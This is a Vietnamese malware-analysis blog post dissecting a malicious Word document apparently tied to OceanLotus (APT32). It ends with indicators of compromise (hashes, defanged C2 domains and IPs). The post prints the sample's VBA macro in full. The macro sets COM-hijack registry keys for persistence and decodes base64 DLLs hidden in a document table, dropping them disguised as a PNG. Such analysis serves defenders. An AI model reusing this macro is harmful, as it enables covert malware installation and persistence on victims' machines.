Thưởng tết…. By m4n0w4r Published: 2019-06-02 · Archived: 2026-04-06 01:39:04 UTC 5 min read May 31, 2019 Vô tình nhặt được cái sample: https://www.virustotal.com/gui/file/9f59c397d1346f2707fc7b54fe6cb4622770accf94eb4394514d2bf167d65007/detection Press enter or click to view image in full size Kĩ thuật sử dụng trong tài liệu này có vẻ liên quan đến OceanLotus (aka APT-32): https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/ Thông tin metadata của sample: https://tradahacking.vn/th%C6%B0%E1%BB%9Fng-t%E1%BA%BFt-fbcbbed49da7 Page 1 of 8 Dạo vòng vòng trong sample để thu thập thêm thông tin: 😉 Press enter or click to view image in full size Toàn bộ VBA code của sample: https://tradahacking.vn/th%C6%B0%E1%BB%9Fng-t%E1%BA%BFt-fbcbbed49da7 Page 2 of 8 ' module: ThisDocumentAttribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open() On Error Resume Next Dim sAppData As String sAppData = Environ("APPDATA") sAppData = sAppData & "\main_background.png" Dim sAppDataNew As String sAppDataNew = Chr(34) & sAppData & Chr(34) Dim myWS As Object, strPath Set myWS = CreateObject("WScript.Shell") Set fsoCheck = VBA.CreateObject("Scripting.FileSystemObject") Dim iCheck As Boolean iCheck = False #If Win64 Then #Else If (fsoCheck.FileExists("C:\Windows\SysWOW64\cmd.exe") = True) Then iCheck = True Else iCheck = False End If #End If If iCheck = True Then Dim wsh As Object Set wsh = VBA.CreateObject("WScript.Shell") Dim waitOnReturn As Boolean: waitOnReturn = True Dim windowStyle As Integer: windowStyle = 0 wsh.Run "cmd.exe /S /C reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9 Else If RegKeyExists("HKEY_CURRENT_USER\Software\Classes\CLSID\") = False Then myWS.RegWrite "HKEY_CURRENT_USER\Software\Classes\CLSID\", "", "REG_SZ" Else End If If RegKeyExists("HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543} If RegKeyExists("HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3 myWS.RegWrite "HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5F Else End If myWS.RegWrite "HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC354 Else End If https://tradahacking.vn/th%C6%B0%E1%BB%9Fng-t%E1%BA%BFt-fbcbbed49da7 Page 3 of 8 End If Dim b As String Dim a As String Dim tableNew As Table Set tableNew = ActiveDocument.Tables(1) If (iCheck = True) Then a = tableNew.Cell(1, 1).Range.Text a = Left(a, Len(a) - 2) b = Base64Decode(a, sAppData) Else a = tableNew.Cell(1, 2).Range.Text a = Left(a, Len(a) - 2) b = Base64Decode(a, sAppData) End If End Sub Function RegKeyExists(i_RegKey As String) As Boolean Dim myWS As Object On Error GoTo ErrorHandler Set myWS = CreateObject("WScript.Shell") myWS.RegRead i_RegKey RegKeyExists = True Exit Function ErrorHandler: 'key was not found RegKeyExists = False End Function Function Base64Decode(ByVal vCode, ByVal sPath) Dim oXML, oNode Set oXML = CreateObject("Msxml2.DOMDocument.3.0") Set oNode = oXML.CreateElement("base64") oNode.dataType = "bin.base64" oNode.Text = vCode Set objStream = CreateObject("ADODB.Stream") objStream.Type = 1 objStream.Open objStream.Write oNode.nodeTypedValue objStream.SaveToFile sPath, 2 Set objStream = Nothing Set oNode = Nothing Set oXML = Nothing End Function Cơ bản VBA code này làm nhiệm vụ: https://tradahacking.vn/th%C6%B0%E1%BB%9Fng-t%E1%BA%BFt-fbcbbed49da7 Page 4 of 8 Cấu thành đường dẫn cho tập tin main_background.png: %APPDATA%\main_background.png Kiểm tra môi trường hiện hành là 32-bit hay 64-bit. Nếu là 64-bit thì sẽ thực thi lệnh: wsh.Run "cmd.exe /S /C reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5 ngược lại, thực thi lần lượt: myWS.RegWrite "HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\", "", "R Dựa vào từ khóa InprocServer32, ta có thể biết được file %APPDATA%\main_background.png sẽ là một tập tin dll Sau khi thiết lập thành công Registry, tiến hành decode base64data và ghi ra file main_background.png. Dựa vào biến iCheck để drop ra dll x64 hay dll x32: Set tableNew = ActiveDocument.Tables(1) If (iCheck = True) Then a = tableNew.Cell(1, 1).Range.Text //lấy base64data tại hàng 1 cột 1 (32bit-dll) a = Left(a, Len(a) - 2) b = Base64Decode(a, sAppData) Else a = tableNew.Cell(1, 2).Range.Text //lấy base64data tại hàng 1 cột 2 (64-bit dll) a = Left(a, Len(a) - 2) b = Base64Decode(a, sAppData) End If Press enter or click to view image in full size Căn cứ vào thông tin có được tiến hành decode để lấy các binary. Có thể debug hoặc là dùng Cyberchef: 32-bit dll: Press enter or click to view image in full size https://tradahacking.vn/th%C6%B0%E1%BB%9Fng-t%E1%BA%BFt-fbcbbed49da7 Page 5 of 8 64-bit dll: Press enter or click to view image in full size Tôi thấy attacker có vẻ hơi nhầm trong quá trình decode và ghi ra file. Nếu là OS 64-bit thì lại drop ra 32- bit dll. Còn ngược lại, với OS 32-bit lại drop ra 64-bit dll 😕 Kiểm tra sơ bộ các dll Với 32-bit dll: Press enter or click to view image in full size Press enter or click to view image in full size https://tradahacking.vn/th%C6%B0%E1%BB%9Fng-t%E1%BA%BFt-fbcbbed49da7 Page 6 of 8 000000011530 000010013730 0 XA:\Code\Macro_NB2\Request\PostData32.exe -u hxxps://syn[.]servebbs Với 64-bit dll: Press enter or click to view image in full size Press enter or click to view image in full size 000000014243 0000000141D0 0 YA:\Code\Macro_NB2\Request\PostData64.exe -u hxxps://syn[.]servebb Thử load file về nhưng C2 đã dẹo: Press enter or click to view image in full size IOCs: Doc sample: 9f59c397d1346f2707fc7b54fe6cb4622770accf94eb4394514d2bf167d65007 Get m4n0w4r’s stories in your inbox https://tradahacking.vn/th%C6%B0%E1%BB%9Fng-t%E1%BA%BFt-fbcbbed49da7 Page 7 of 8 Join Medium for free to get updates from this writer. Remember me for faster sign in Dropped file (based on architecture): 32-bit dll: ee1e3956df9f69ae3c87a53075881f65 64-bit dll: c74a24dea88999797aaceeecd63efaff Some C2: hxxps://word[.]webhop[.]info ( 109[.]248[.]149[.]96) hxxps://syn[.]servebbs[.]com ( 194[.]9[.]177[.]13) Press enter or click to view image in full size End. Source: https://tradahacking.vn/th%C6%B0%E1%BB%9Fng-t%E1%BA%BFt-fbcbbed49da7 https://tradahacking.vn/th%C6%B0%E1%BB%9Fng-t%E1%BA%BFt-fbcbbed49da7 Page 8 of 8